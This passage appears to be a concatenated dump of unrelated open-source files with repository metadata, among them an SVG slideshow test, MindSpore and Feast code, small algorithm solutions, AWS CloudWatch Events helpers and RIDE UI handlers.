alert("hideSlideName is null"); else alert("hideSlideName is NOT null:" + hideSlideName);*/ var slideGroup = doc.getElementById(hideSlideName); slideGroup.setAttribute("style", "visibility:hidden"); slideGroup = doc.getElementById(showSlideName); slideGroup.setAttribute("style", "visibility:show"); var slideMenuItemId = slideList[hideSlide] + "MenuItem"; var menuItem = doc.getElementById(slideMenuItemId); if(menuItem != null) menuItem.setAttribute("class", "slideMenuItem"); slideMenuItemId = slideList[showSlide] + "MenuItem"; menuItem = doc.getElementById(slideMenuItemId); if(menuItem != null) menuItem.setAttribute("class", "currentSlideMenuItem"); } function onHighlightMenuItem(evt, highlight, itemId){ var target = evt.getTarget(); var doc = target.getOwnerDocument(); var menuItem = doc.getElementById(itemId); if(highlight == "true") menuItem.setAttribute("class", "highlightedSlideMenuItem"); else{ var curSlideMenuItemId = slideList[curSlide] + "MenuItem"; if(curSlideMenuItemId == itemId) menuItem.setAttribute("class", "currentSlideMenuItem"); else menuItem.setAttribute("class", "slideMenuItem"); } } function onMenuItemSelected(evt, index){ // alert("Should show slide # " + index); var oldCurSlide = curSlide; curSlide = index; hideAndShow(evt, oldCurSlide, index); } function onSetFill(evt, elementId, fillValue){ var element = doc.getElementById(elementId); element.setAttribute("style", "fill:" + fillValue); } function onExpand(evt, submenuGroupId){ var submenuGroup = doc.getElementById(submenuGroupId); submenuGroup.setAttribute("style", "visibility:hidden"); var javaScriptCode = "window.expandNow('" + submenuGroupId + "')"; window.expandNow = expandNow; setTimeout(javaScriptCode, 1000); } function expandNow(submenuGroupId){ var submenuGroup = doc.getElementById(submenuGroupId); submenuGroup.setAttribute("style", "visibility:show"); } function onCollapse(evt, submenuGroupId){ var submenuGroup = doc.getElementById(submenuGroupId); submenuGroup.setAttribute("style", "visibility:hidden"); } ]]></script> <script><![CDATA[ var slideList = new Array(); var slideIndex = new Object(); var curSlide = 0; slideList[0]="slideShowCover"; slideIndex["slideShowCover"] = 0; slideList[1]="slidesetCover1"; slideIndex["slidesetCover1"] = 1; slideList[2] = "slide1-1"; slideIndex["slide1-1"] = 2; slideList[3]="slidesetCover2"; slideIndex["slidesetCover2"] = 3; slideList[4] = "slide2-1"; slideIndex["slide2-1"] = 4; slideList[5] = "slide2-2"; slideIndex["slide2-2"] = 5; slideList[6] = "slide2-3"; slideIndex["slide2-3"] = 6; slideList[7]="slidesetCover3"; slideIndex["slidesetCover3"] = 7; slideList[8] = "slide3-1"; slideIndex["slide3-1"] = 8; slideList[9] = "slide3-2"; slideIndex["slide3-2"] = 9; ]]></script> <defs> <linearGradient spreadMethod='pad' id='slideBackgroundPaint' x1='0' y2='768' x2='1024' y1='0' gradientUnits='userSpaceOnUse'> <stop offset='0%' style='stop-color:black; stop-opacity:1;'/> <stop offset='100%' style='stop-color:rgb(103, 107, 157); stop-opacity:1;'/> </linearGradient> <linearGradient spreadMethod='pad' id='slideTitleSeparatorPaint' x1='0' y2='0' x2='1024' y1='0' gradientUnits='userSpaceOnUse'> <stop offset='0%' style='stop-color:rgb(23, 27, 77); stop-opacity:1;'/> <stop offset='.5' style='stop-color:rgb(103, 107, 157); stop-opacity:1;'/> <stop offset='100%' style='stop-color:rgb(23, 27, 77); stop-opacity:1;'/> </linearGradient> <linearGradient spreadMethod='pad' id='menuBarPaint' x1='0' y2='0' x2='210' y1='0' gradientUnits='userSpaceOnUse'> <stop offset='0%' style='stop-color:black; stop-opacity:1;'/> <stop offset='50%' style='stop-color:rgb(103, 107, 157); stop-opacity:1;'/> <stop offset='100%' style='stop-color:white; stop-opacity:1;'/> </linearGradient> <linearGradient spreadMethod='pad' id='slideBackgroundHeaderPaint' x1='0' y2='100' x2='0' y1='0' gradientUnits='userSpaceOnUse'> <stop offset='0%' style='stop-color:black; stop-opacity:1;'/> <stop offset='50%' style='stop-color:rgb(103, 107, 157); stop-opacity:1;'/> <stop offset='100%' style='stop-color:white; stop-opacity:1;'/> </linearGradient> <g id='stripePattern'> <g style='fill:black; fill-opacity:.25'> <rect height='2' width='1' y='0'/> <rect height='2' width='1' y='4'/> <rect height='2' width='1' y='8'/> <rect height='2' width='1' y='12'/> <rect height='2' width='1' y='16'/> <rect height='2' width='1' y='20'/> <rect height='2' width='1' y='24'/> <rect height='2' width='1' y='28'/> <rect height='2' width='1' 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id='navigationGroup' style='fill:white' transform='translate(984, 45) scale(2, 2)'> <polygon id='prevSlideControl' onclick='onPrevSlide(evt)' onmouseover="onSetFill(evt, 'prevSlideControl', 'rgb(176, 22, 40)')" points='1 10 10 0 1 -10 1 10' onmouseout="onSetFill(evt, 'prevSlideControl', 'white')" transform='rotate(180)'/> <polygon id='nextSlideControl' onclick='onNextSlide(evt)' onmouseover="onSetFill(evt, 'nextSlideControl', 'rgb(176, 22, 40)')" points='1 10 10 0 1 -10 1 10' onmouseout="onSetFill(evt, 'nextSlideControl', 'white')"/> </g> <g id='slideMenu' transform='translate(15, 130)'> <text onclick='onMenuItemSelected(evt, 1)' class='slidesetMenuHeader' x='0' y='0'>Background and Motivation</text> <g style='visibility:visible'> <rect height='5' id='Expand1' x='-10' y='-5' onclick="onExpand(evt, 'slideSetSubmenu1')" style='fill:white' width='5'/> <rect height='5' id='Collapse1' x='-10' y='-5' onclick="onCollapse(evt, 'slideSetSubmenu1')" style='fill:red; visibility:hidden' width='5'> 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</g> <g onclick='onNextSlide(evt)' style='visibility:hidden' id='slidesetCover2'> <rect height='768' style='fill:black' width='1024' x='0' y='0'/> <rect height='768' style='fill:url(#menuBarPaint)' width='210' x='0' y='0'/> <g transform='scale(210, 1)'> <use xlink:href='#stripePattern'/> </g> <text x='240' class='slidesetCoverTitle' y='200'>The ABCs of SVG</text> </g> <g onclick='onNextSlide(evt)' style='visibility:hidden' id='slidesetCover3'> <rect height='768' style='fill:black' width='1024' x='0' y='0'/> <rect height='768' style='fill:url(#menuBarPaint)' width='210' x='0' y='0'/> <g transform='scale(210, 1)'> <use xlink:href='#stripePattern'/> </g> <text x='240' class='slidesetCoverTitle' y='200'>The SVG Community</text> </g> <g id='slide1-1' style='visibility:hidden' class='slide'> <text class='slideTitle' x='30' y='60'>Why Yet Another Graphics Format?</text> <g><text x="240" y="150" class="itemClass">Leveraging the existing XML technology base</text></g> <g><text x="240" y="185" class="itemClass">Integrating graphics into the semantic Web</text></g> <g><text x="240" y="220" class="itemClass">Giving browsers access to image <tspan class='emphasis'>internals</tspan></text></g> <g><text x="240" y="255" class="itemClass">Supporting the next generation of browsers</text></g> </g> <g id='slide2-1' style='visibility:hidden' class='slide'> <text class='slideTitle' x='30' y='60'>SVG Features</text> <text x='240' class='headingInline' y='150'>Basic Features</text> <use class='listBullet' xlink:href='#bullet' x='240' y='185'/> <g><text x="270" y="185" class="itemClass">Coordinate spaces and transforms</text></g> <use class='listBullet' xlink:href='#bullet' x='240' y='220'/> <g><text x="270" y="220" class="itemClass">Graphics primitives: ellipses, polygons, polylines, curves, etc.</text></g> <use class='listBullet' xlink:href='#bullet' x='240' y='255'/> <g><text x="270" y="255" class="itemClass">Stylesheets: CSS, XSL, etc.</text></g> <text x='240' class='headingInline' y='290'>Advanced Features</text> <use class='listBullet' xlink:href='#bullet' x='240' y='325'/> <g><text x="270" y="325" class="itemClass">Raster filter effects</text></g> <use class='listBullet' xlink:href='#bullet' x='240' y='360'/> <g><text x="270" y="360" class="itemClass">Alpha masking</text></g> <use class='listBullet' xlink:href='#bullet' x='240' y='395'/> <g><text x="270" y="395" class="itemClass">Animation</text></g> <use class='listBullet' xlink:href='#bullet' x='240' y='430'/> <g><text x="270" y="430" class="itemClass">Zooming and Panning</text></g> <use class='listBullet' xlink:href='#bullet' x='240' y='465'/> <g><text x="270" y="465" class="itemClass">Scripting and extensibility</text></g> </g> <g id='slide2-2' style='visibility:hidden' class='slide'> <text class='slideTitle' x='30' y='60'>SVG Sample Source</text> <text x='240' class='preformattedInline' y='135'> <?xml version="1.0"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20000802//EN" "http://www.w3.org/TR/2000/CR-SVG-20000802/DTD/svg-20000802.dtd" > <svg width="800" height="800"> <desc>SVG Sample for SunWorld Article</desc> <style type="text/css"> .Lagos { fill: white; stroke: green; stroke-width: 30 } .ViaAppia { fill: none; stroke: black; stroke-width: 10 } .OrthoLogos { font-size: 32; font-family: helvetica } </style> <ellipse transform="translate(500 200)" rx="250" ry="100" style="fill: brown; stroke: yellow; stroke-width: 10"/> <polygon transform="translate(100 200) rotate(45)" class="Lagos" points="350,75 379,161 469,161 397,215 423,301 350,250 277, 301 303,215 231,161 321,161"/> <text class="OrthoLogos" x="400" y="400">TO KALON</text> <path class="ViaAppia" d="M500,600 C500,500 650,500 650,600 S800,700 800,600"/> </svg> </text> </g> <g id='slide2-3' style='visibility:hidden' class='slide'> <text class='slideTitle' x='30' y='60'>SVG Sample Output</text> <g transform='translate(240, 135)'> <svg height='10cm' width='10cm' viewBox='0 0 200 200'> <desc>SVG Sample for SunWorld Article</desc> <style type='text/css'> .Lagos { fill: white; stroke: green; stroke-width: 30 } .ViaAppia { fill: none; stroke: white; stroke-width: 10 } .OrthoLogos { font-size: 32; font-family: helvetica; fill:white } </style> <ellipse transform='translate(500 200)' ry='100' rx='250' style='fill: brown; stroke: yellow; stroke-width: 10'/> <polygon points='350,75 379,161 469,161 397,215 423,301 350,250 277, 301 303,215 231,161 321,161' transform='translate(100 200) rotate(45)' class='Lagos'/> <text class='OrthoLogos' x='400' y='400'>TO KALON</text> <path class='ViaAppia' d='M500,600 C500,500 650,500 650,600 S800,700 800,600'/> </svg> </g> </g> <g id='slide3-1' style='visibility:hidden' class='slide'> <text class='slideTitle' x='30' y='60'>Some SVG Resources</text> <g><text x="240" y="150" class="itemClass"><tspan class='linkStyle'>The W3C's SVG Page</tspan></text></g> <g><text x="240" y="185" class="itemClass"><tspan class='linkStyle'>OpenDirectory SVG Links</tspan></text></g> <g><text x="240" y="220" class="itemClass"><tspan class='linkStyle'>How to make slides like these</tspan></text></g> </g> <g id='slide3-2' style='visibility:hidden' class='slide'> <text class='slideTitle' x='30' y='60'>Quote Them on it</text> <text x='240' class='paraInline' y='150'>"Over twenty organizations, including Sun Microsystems, Adobe, Apple, IBM, and Kodak, have been involved in defining SVG."<tspan class='emphasis'> -- Vincent J. Hardy, Sun</tspan> </text> <text x='240' class='paraInline' y='185'>"I have been working with computer graphics for over 25 years and split an immense amount of blood on the floor at midnight. With SVG I can now do almost anything I want [except for 3D - in which I also have a molecular interest]. And I suspect that I can stick with it for the foreseeable future." <tspan class='emphasis'>-- Peter Murray-Rust, XML-DEV Founder</tspan> </text> <text x='240' class='paraInline' y='220'>"I envision a day where we have XHTML Web pages with SVG as the "chrome" of our interfaces--defining the buttons, the layers, the coloring, and the grid--where we can actually use a language that's XML-based rather than theses separate GIF files that can take so long to download. That's certainly one vision; that vision not just extending on the Web, on a monitor, but wireless onto my Palm Pilot or to print and other output as well." <tspan class='emphasis'>-- Steve Mulder, Razorfish</tspan> </text> </g> </svg>""" #"' expected_1=""" <svg/>""" def Test(tester): tester.startTest("Checking for SVG stylesheets") try: import urllib for uri in (sheet_1_uri, sheet_2_uri, sheet_3_uri): fd = urllib.urlopen(uri) fd.close() tester.testDone() except (IOError, OSError): tester.warning( "You must have 'svgslides.xsl', 'svgslides_custom.xsl' and\n" "'slidescript.xsl' from Sun's SVG toolkit to run this test.\n" "See http://www.sun.com/software/xml/developers/svg-slidetoolkit/\n" "or ftp://ftp.fourthought.com/pub/third-party/test-material/\n" "It's enough to copy *.xsl from that package to the\n" "'%s' directory." % os.path.dirname(__file__)) tester.testDone() else: source = test_harness.FileInfo(uri=source_1_uri) sheet = test_harness.FileInfo(uri=sheet_1_uri) test_harness.XsltTest(tester, source, [sheet], expected_1) return

51.010234

541

0.567367

0

34,129

0.978161

42646da758d7d00689423c6bb8d4edd633b50938

232

py

Python

src/2/2338.py

youngdaLee/Baekjoon

7d858d557dbbde6603fe4e8af2891c2b0e1940c0

[ "MIT" ]

11

2020-09-20T15:17:11.000Z

2022-03-17T12:43:33.000Z

src/2/2338.py

youngdaLee/Baekjoon

7d858d557dbbde6603fe4e8af2891c2b0e1940c0

[ "MIT" ]

3

2021-10-30T07:51:36.000Z

2022-03-09T05:19:23.000Z

src/2/2338.py

youngdaLee/Baekjoon

7d858d557dbbde6603fe4e8af2891c2b0e1940c0

[ "MIT" ]

13

2021-01-21T03:19:08.000Z

2022-03-28T10:44:58.000Z

""" 2338. 긴자리 계산 작성자: xCrypt0r 언어: Python 3 사용 메모리: 29,380 KB 소요 시간: 72 ms 해결 날짜: 2020년 9월 13일 """ def main(): A, B = int(input()), int(input()) print(A + B, A - B, A * B, sep='\n') if __name__ == '__main__': main()

12.888889

40

0.538793

0

165

0.580986

4264be58cf46729f9ccb094d1db453583943d301

2,952

py

Python

tests/ut/python/nn/test_activation.py

PowerOlive/mindspore

bda20724a94113cedd12c3ed9083141012da1f15

[ "Apache-2.0" ]

3,200

2020-02-17T12:45:41.000Z

2022-03-31T20:21:16.000Z

tests/ut/python/nn/test_activation.py

zimo-geek/mindspore

665ec683d4af85c71b2a1f0d6829356f2bc0e1ff

[ "Apache-2.0" ]

176

2020-02-12T02:52:11.000Z

2022-03-28T22:15:55.000Z

tests/ut/python/nn/test_activation.py

zimo-geek/mindspore

665ec683d4af85c71b2a1f0d6829356f2bc0e1ff

[ "Apache-2.0" ]

621

2020-03-09T01:31:41.000Z

2022-03-30T03:43:19.000Z

# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """ test Activations """ import numpy as np import mindspore.nn as nn from mindspore import Tensor from mindspore.common.api import _cell_graph_executor from ..ut_filter import non_graph_engine class SoftmaxNet(nn.Cell): def __init__(self, dim): super(SoftmaxNet, self).__init__() self.softmax = nn.Softmax(dim) def construct(self, x): return self.softmax(x) @non_graph_engine def test_compile(): net = SoftmaxNet(0) input_tensor = Tensor(np.array([[1.2, 2.1], [2.2, 3.2]], dtype=np.float32)) net(input_tensor) @non_graph_engine def test_compile_axis(): net = SoftmaxNet(-1) prob = 355 input_data = np.random.randn(4, 16, 1, 1).astype(np.float32) * prob input_tensor = Tensor(input_data) net(input_tensor) class LogSoftmaxNet(nn.Cell): def __init__(self, dim): super(LogSoftmaxNet, self).__init__() self.logsoftmax = nn.LogSoftmax(dim) def construct(self, x): return self.logsoftmax(x) @non_graph_engine def test_compile_logsoftmax(): net = LogSoftmaxNet(0) input_tensor = Tensor(np.array([[1.2, 2.1], [2.2, 3.2]], dtype=np.float32)) net(input_tensor) class Net1(nn.Cell): def __init__(self): super(Net1, self).__init__() self.relu = nn.ReLU() def construct(self, x): return self.relu(x) def test_compile_relu(): net = Net1() input_data = Tensor(np.array([[1.2, 2.1], [2.2, 3.2]], dtype=np.float32)) _cell_graph_executor.compile(net, input_data) class Net_gelu(nn.Cell): def __init__(self): super(Net_gelu, self).__init__() self.gelu = nn.GELU() def construct(self, x): return self.gelu(x) def test_compile_gelu(): net = Net_gelu() input_data = Tensor(np.array([[1.2, 2.1], [2.2, 3.2]], dtype=np.float32)) _cell_graph_executor.compile(net, input_data) class NetLeakyReLU(nn.Cell): def __init__(self, alpha): super(NetLeakyReLU, self).__init__() self.leaky_relu = nn.LeakyReLU(alpha) def construct(self, x): return self.leaky_relu(x) def test_compile_leaky_relu(): net = NetLeakyReLU(alpha=0.1) input_data = Tensor(np.array([[1.6, 0, 0.6], [6, 0, -6]], dtype=np.float32)) _cell_graph_executor.compile(net, input_data)

27.333333

80

0.661247

966

0.327236

0

554

0.187669

0

677

0.229336

42667a983dfb48f00077636f4ff9f6c3c1fe62f9

743

py

Python

sdk/python/tests/integration/feature_repos/universal/data_source_creator.py

marsishandsome/feast

998e16945da240bfa73570cdb2c5e3639f892d34

[ "Apache-2.0" ]

1

2021-09-16T16:17:58.000Z

sdk/python/tests/integration/feature_repos/universal/data_source_creator.py

marsishandsome/feast

998e16945da240bfa73570cdb2c5e3639f892d34

[ "Apache-2.0" ]

null

sdk/python/tests/integration/feature_repos/universal/data_source_creator.py

marsishandsome/feast

998e16945da240bfa73570cdb2c5e3639f892d34

[ "Apache-2.0" ]

null

from abc import ABC, abstractmethod from typing import Dict import pandas as pd from feast.data_source import DataSource from feast.repo_config import FeastConfigBaseModel class DataSourceCreator(ABC): @abstractmethod def create_data_source( self, destination: str, df: pd.DataFrame, event_timestamp_column="ts", created_timestamp_column="created_ts", field_mapping: Dict[str, str] = None, ) -> DataSource: ... @abstractmethod def create_offline_store_config(self) -> FeastConfigBaseModel: ... @abstractmethod def teardown(self): ... @abstractmethod def get_prefixed_table_name(self, name: str, suffix: str) -> str: ...

22.515152

69

0.664872

566

0.761777

0

514

0.69179

0

16

0.021534

42683ff20338aa58755c4a687ba9b5618ac5ee33

1,393

py

Python

tests/interpreter/expression/var_assignment_interpreter_test.py

OtavioHenrique/yalul

ce99e32365ed5607527b9f2f39705ad5d9e20ba2

[ "MIT" ]

1

2021-04-01T20:22:36.000Z

tests/interpreter/expression/var_assignment_interpreter_test.py

OtavioHenrique/yalul

ce99e32365ed5607527b9f2f39705ad5d9e20ba2

[ "MIT" ]

1

2020-11-20T22:24:38.000Z

tests/interpreter/expression/var_assignment_interpreter_test.py

OtavioHenrique/yalul

ce99e32365ed5607527b9f2f39705ad5d9e20ba2

[ "MIT" ]

null

from yalul.interpreters.environment import Environment from yalul.interpreters.expressions.var_assignment_interpreter import VarAssignmentInterpreter from yalul.interpreters.interpreter_errors import InterpreterErrors class TestVarAssignmentInterpreter: """Test var assignment expression interpreter""" def test_interpreting_var_assignment_without_errors(self): """ Validates if VarAssignmentInterpreter is interpreting correctly """ error = InterpreterErrors() env = Environment({}, {}) env.add_variable('Name', 'Gabriela') interpreter = VarAssignmentInterpreter('Name', 'Otavio', env, error) response = interpreter.execute() assert response == 'Otavio' assert env.get_variable('Name') == 'Otavio' assert error.errors == [] def test_interpreting_var_assignment_errors(self): """ Validates if VarAssignmentInterpreter is generating errors when variable don't exists """ error = InterpreterErrors() env = Environment({}, {}) interpreter = VarAssignmentInterpreter('Name', 'Otavio', env, error) response = interpreter.execute() assert response is None assert error.errors == ['Interpreter Error: Can\'t assign value Otavio to variable named "Name" because it ' 'doesn\'t exists']

34.825

116

0.676238

1,172

0.84135

0

411

0.295047

4268f94ca522ab0b564db536a3198008325ec23d

2,547

py

Python

backend/externals/events.py

crosspower/naruko

4c524e2ef955610a711830bc86d730ffe4fc2bd8

[ "MIT" ]

17

2019-01-23T04:37:43.000Z

2019-10-15T01:42:31.000Z

backend/externals/events.py

snickerjp/naruko

4c524e2ef955610a711830bc86d730ffe4fc2bd8

[ "MIT" ]

1

2019-01-23T08:04:44.000Z

2019-01-23T08:44:33.000Z

backend/externals/events.py

snickerjp/naruko

4c524e2ef955610a711830bc86d730ffe4fc2bd8

[ "MIT" ]

6

2019-01-23T09:10:59.000Z

2020-12-02T04:15:41.000Z

import boto3 from django.conf import settings from backend.models import CloudWatchEvent import json class Events: def __init__(self): self.client = boto3.client('events', region_name=settings.NARUKO_REGION) def list_rules(self): response = [] for rules in self._list_rules(): response.extend(rules) return response def _list_rules(self): # 最初はTokenなし response = self.client.list_rules(NamePrefix='NARUKO-') token = response.get("NextToken") yield self._build_cloudwatchevent(response["Rules"]) # Tokenがあれば次ページを返す while token: response = self.client.list_rules( NamePrefix='NARUKO-', NextToken=token ) token = response.get("NextToken") yield self._build_cloudwatchevent(response["Rules"]) @staticmethod def _build_cloudwatchevent(rules: dict): cloudwatchevents = [] for rule in rules: cloudwatchevents.append(CloudWatchEvent( name=rule["Name"], schedule_expression=rule.get("ScheduleExpression"), is_active=rule["State"] == "ENABLED" )) return cloudwatchevents def save_event(self, event): # ルール作成 self.client.put_rule( Name=event.cloudwatchevent.name, ScheduleExpression=event.cloudwatchevent.schedule_expression, State="ENABLED" if event.cloudwatchevent.is_active else "DISABLED" ) # ターゲット作成 target = dict( Id=event.cloudwatchevent.name, Arn=settings.EVENT_SNS_TOPIC_ARN, Input=json.dumps(dict(id=event.event_model.id)) ) self.client.put_targets( Rule=event.cloudwatchevent.name, Targets=[target] ) return event def delete_event(self, event_name): # ターゲット削除 self.client.remove_targets( Rule=event_name, Ids=[event_name] ) # ルール削除 self.client.delete_rule( Name=event_name ) def describe_event(self, event_name): response = self.client.describe_rule( Name=event_name ) return CloudWatchEvent( name=response["Name"], schedule_expression=response["ScheduleExpression"], is_active=response["State"] == "ENABLED" )

28.617978

81

0.568512

2,516

0.957746

546

0.207842

380

0.144652

0

313

0.119147

4269db32f55f118da9ba1a4ffe9262967fe30e06

283

py

Python

1501-1600/1560-Most Visited Sector in a Circular Track/1560-Most Visited Sector in a Circular Track.py

jiadaizhao/LeetCode

4ddea0a532fe7c5d053ffbd6870174ec99fc2d60

[ "MIT" ]

49

2018-05-05T02:53:10.000Z

2022-03-30T12:08:09.000Z

1501-1600/1560-Most Visited Sector in a Circular Track/1560-Most Visited Sector in a Circular Track.py

ptx-c/LeetCode

4ddea0a532fe7c5d053ffbd6870174ec99fc2d60

[ "MIT" ]

11

2017-12-15T22:31:44.000Z

2020-10-02T12:42:49.000Z

1501-1600/1560-Most Visited Sector in a Circular Track/1560-Most Visited Sector in a Circular Track.py

ptx-c/LeetCode

4ddea0a532fe7c5d053ffbd6870174ec99fc2d60

[ "MIT" ]

28

2017-12-05T10:56:51.000Z

2022-01-26T18:18:27.000Z

class Solution: def mostVisited(self, n: int, rounds: List[int]) -> List[int]: start, end = rounds[0], rounds[-1] if end >= start: return list(range(start, end + 1)) else: return list(range(1, end + 1)) + list(range(start, n + 1))

35.375

70

0.533569

282

0.996466

0

426a3bed4febe19951912ab6a1ea3a6374609094

356

py

Python

eg/deparse/example.py

KennethBlaney/rivescript-python

87db472847ab526060afd9a5b8548e9689501a85

[ "MIT" ]

null

eg/deparse/example.py

KennethBlaney/rivescript-python

87db472847ab526060afd9a5b8548e9689501a85

[ "MIT" ]

null

eg/deparse/example.py

KennethBlaney/rivescript-python

87db472847ab526060afd9a5b8548e9689501a85

[ "MIT" ]

null

#!/usr/bin/env python # Manipulate sys.path to be able to import converscript from this local git # repository. import os import sys sys.path.append(os.path.join(os.path.dirname(__file__), "..", "..")) from converscript import RiveScript import json bot = RiveScript() bot.load_file("example.rive") dep = bot.deparse() print(json.dumps(dep, indent=2))

20.941176

75

0.735955

0

131

0.367978

426a6f57e84f4626e97b52d506e5d77552f5cfca

2,715

py

Python

figuras/PycharmKayStatisticalReport/example_8_11.py

bor9/estudiando_el_kay

6e07908b8b0b5a5166dadce30001e6100e8304c3

[ "MIT" ]

null

figuras/PycharmKayStatisticalReport/example_8_11.py

bor9/estudiando_el_kay

6e07908b8b0b5a5166dadce30001e6100e8304c3

[ "MIT" ]

null

figuras/PycharmKayStatisticalReport/example_8_11.py

bor9/estudiando_el_kay

6e07908b8b0b5a5166dadce30001e6100e8304c3

[ "MIT" ]

1

2021-11-02T05:27:27.000Z

import matplotlib.pyplot as plt import numpy as np from scipy import signal, linalg from matplotlib import rc from matplotlib import rcParams __author__ = 'ernesto' # if use latex or mathtext rc('text', usetex=True) rcParams['text.latex.preamble'] = [r"\usepackage{amsmath}"] #respuesta al impulso deseada: sinc N = 50 # numero par fc = 0.1 nf = 1024 n = np.arange(-N/2, N/2+1) N += 1 f = np.arange(nf)/(2 * nf) # parámetros del filtro a diseñar p = 10 q = 10 # respuesta al impulso hd = 2 * fc * np.sinc(2 * fc * n) # * np.hanning(N) # respuesta en frecuencia _, Hd = signal.freqz(hd, a=1, worN=nf, whole=False, plot=None) # estimación de los coeficientes del denominador (a) # hd = np.arange(N) x = hd[q + 1:] H = linalg.toeplitz(hd[q: N - 1], hd[q: q - p: -1]) # a_est = np.linalg.solve(H.T @ H, -H.T @ x) epsilon = 1e-16 #epsilon = 0 a_est = linalg.solve(H.T @ H + epsilon * np.eye(p), -H.T @ x) print("Número de Condición 1: {}".format(np.linalg.cond(H.T @ H))) h = hd[: q + 1] H0 = linalg.toeplitz(np.concatenate(([0], hd[: q])), np.zeros((p, ))) b_est = h + H0 @ a_est #print(h) #print(H0) # respuesta en frecuencia a_est = np.concatenate(([1], a_est)) print(a_est) print(b_est) _, H_est = signal.freqz(b_est, a_est, worN=nf, whole=False, plot=None) # respuesta al impulso delta = np.zeros((N,)) delta[0] = 1 h_est = signal.lfilter(b_est, a_est, delta, axis=- 1, zi=None) ms = 3 fs = 12 n = np.arange(N) fig = plt.figure(0, figsize=(9, 5), frameon=False) ax = plt.subplot2grid((8, 2), (0, 0), rowspan=6, colspan=1) plt.xlim(0, N-1) plt.ylim(np.amin(hd)-0.02, np.amax(hd)+0.02) plt.plot(n, hd, linestyle='-', marker='s', color='k', markersize=ms, lw=1, label='${\\rm deseada}$') plt.plot(n, h_est, linestyle='-', marker='s', color='r', markersize=ms, lw=1, label='${\\rm estimada}$') leg = plt.legend(loc=1, frameon=False, fontsize=fs) ax.set_xticklabels([]) ax.set_ylabel('${\\rm Respuesta\;al\;impulso}$', fontsize=fs) ax = plt.subplot2grid((8, 2), (6, 0), rowspan=2, colspan=1) e = hd-h_est plt.xlim(0, N-1) plt.ylim(np.amin(e)-0.001, np.amax(e)+0.001) plt.plot(n, e, linestyle='-', marker='s', color='k', markersize=ms) ax.set_xlabel(r'$n$', fontsize=fs) ax.set_ylabel(r'$\epsilon[n]$', fontsize=fs) ax = plt.subplot2grid((8, 2), (0, 1), rowspan=8, colspan=1) plt.xlim(0, 0.5) plt.ylim(-55, 8) plt.plot(f, 10 * np.log10(np.abs(Hd)), 'k', label='${\\rm deseada}$') plt.plot(f, 10 * np.log10(np.abs(H_est)), 'r', label='${\\rm estimada}$') ax.set_xlabel('${\\rm Frecuencia\;normalizada}$', fontsize=fs) ax.set_ylabel('${\\rm Respuesta\;en\;frecuencia\;(dB)}$', fontsize=fs) leg = plt.legend(loc=1, frameon=False, fontsize=fs) plt.savefig('example_8_11.pdf', bbox_inches='tight') plt.show()

29.835165

104

0.64825

0

717

0.263603

426b013c87350379997d161bc0ecdefe4dd2b27e

19,353

py

Python

src/robotide/ui/treenodehandlers.py

crylearner/RIDE3X

767f45b0c908f18ecc7473208def8dc7489f43b0

[ "ECL-2.0", "Apache-2.0" ]

1

2017-08-20T14:46:02.000Z

src/robotide/ui/treenodehandlers.py

crylearner/RIDE3X

767f45b0c908f18ecc7473208def8dc7489f43b0

[ "ECL-2.0", "Apache-2.0" ]

null

src/robotide/ui/treenodehandlers.py

crylearner/RIDE3X

767f45b0c908f18ecc7473208def8dc7489f43b0

[ "ECL-2.0", "Apache-2.0" ]

null

# Copyright 2008-2015 Nokia Solutions and Networks # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import wx from robotide.controller.commands import ( RenameKeywordOccurrences, RemoveMacro, AddKeyword, AddTestCase, RenameTest, CopyMacroAs, AddVariable, UpdateVariableName, RenameFile, RenameResourceFile, DeleteFile, SortKeywords, Include, Exclude) from robotide.controller.settingcontrollers import VariableController from robotide.controller.macrocontrollers import ( TestCaseController, UserKeywordController) from robotide.controller.filecontrollers import ( TestDataDirectoryController, ResourceFileController, TestCaseFileController, ExcludedDirectoryController, DirtyRobotDataException) from robotide.editor.editordialogs import ( TestCaseNameDialog, UserKeywordNameDialog, ScalarVariableDialog, ListVariableDialog, CopyUserKeywordDialog, DictionaryVariableDialog) from robotide.publish import RideOpenVariableDialog from robotide.ui.progress import LoadProgressObserver from robotide.usages.UsageRunner import Usages, ResourceFileUsages from .filedialogs import ( AddSuiteDialog, AddDirectoryDialog, ChangeFormatDialog, NewResourceDialog, RobotFilePathDialog) from robotide.utils import overrides from robotide.widgets import PopupMenuItems from .progress import RenameProgressObserver from .resourcedialogs import ResourceRenameDialog, ResourceDeleteDialog from robotide.ui.resourcedialogs import FolderDeleteDialog def action_handler_class(controller): return { TestDataDirectoryController: TestDataDirectoryHandler, ResourceFileController: ResourceFileHandler, TestCaseFileController: TestCaseFileHandler, TestCaseController: TestCaseHandler, UserKeywordController: UserKeywordHandler, VariableController: VariableHandler, ExcludedDirectoryController: ExcludedDirectoryHandler }[controller.__class__] class _ActionHandler(wx.Window): is_user_keyword = False is_test_suite = False is_variable = False _label_add_suite = 'New Suite\tCtrl-Shift-F' _label_add_directory = 'New Directory' _label_new_test_case = 'New Test Case\tCtrl-Shift-T' _label_new_user_keyword = 'New User Keyword\tCtrl-Shift-K' _label_sort_keywords = 'Sort Keywords' _label_new_scalar = 'New Scalar\tCtrl-Shift-V' _label_new_list_variable = 'New List Variable\tCtrl-Shift-L' _label_new_dict_variable = 'New Dictionary Variable' _label_change_format = 'Change Format' _label_copy_macro = 'Copy\tCtrl-Shift-C' _label_rename = 'Rename\tF2' _label_add_resource = 'Add Resource' _label_new_resource = 'New Resource' _label_find_usages = 'Find Usages' _label_select_all = 'Select All Tests' _label_deselect_all = 'Deselect All Tests' _label_select_failed_tests = 'Select Only Failed Tests' _label_select_passed_tests = 'Select Only Passed Tests' _label_delete = 'Delete\tCtrl-Shift-D' _label_delete_no_kbsc = 'Delete' _label_exclude = 'Exclude' 